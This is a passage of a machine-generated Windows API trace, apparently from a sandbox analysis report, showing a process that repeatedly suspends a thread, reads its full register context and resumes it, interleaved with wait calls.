Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0100.106] ResumeThread (hThread=0x130) returned 0x1
[0100.106] CloseHandle (hObject=0x130) returned 1
[0100.106] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0100.191] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0100.191] SuspendThread (hThread=0x130) returned 0x0
[0100.191] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147530, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f5080, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0100.357] ResumeThread (hThread=0x130) returned 0x1
[0100.357] CloseHandle (hObject=0x130) returned 1
[0100.412] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0100.564] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0100.609] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0100.692] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0100.769] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0100.769] SuspendThread (hThread=0x130) returned 0x0
[0100.769] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147518, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a6920, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0100.837] ResumeThread (hThread=0x130) returned 0x1
[0100.837] CloseHandle (hObject=0x130) returned 1
[0100.837] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0100.914] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0100.914] SuspendThread (hThread=0x130) returned 0x0
[0100.914] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10217, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147518, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a7518, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0100.988] ResumeThread (hThread=0x130) returned 0x1
[0100.988] CloseHandle (hObject=0x130) returned 1
[0100.988] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.025] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.060] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.138] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.214] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0101.214] SuspendThread (hThread=0x130) returned 0x0
[0101.214] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147420, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12d5340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0101.304] ResumeThread (hThread=0x130) returned 0x1
[0101.304] CloseHandle (hObject=0x130) returned 1
[0101.304] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.346] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.380] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.456] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0101.606] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0101.607] SuspendThread (hThread=0x130) returned 0x0
[0101.607] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477e0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x148a6a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, 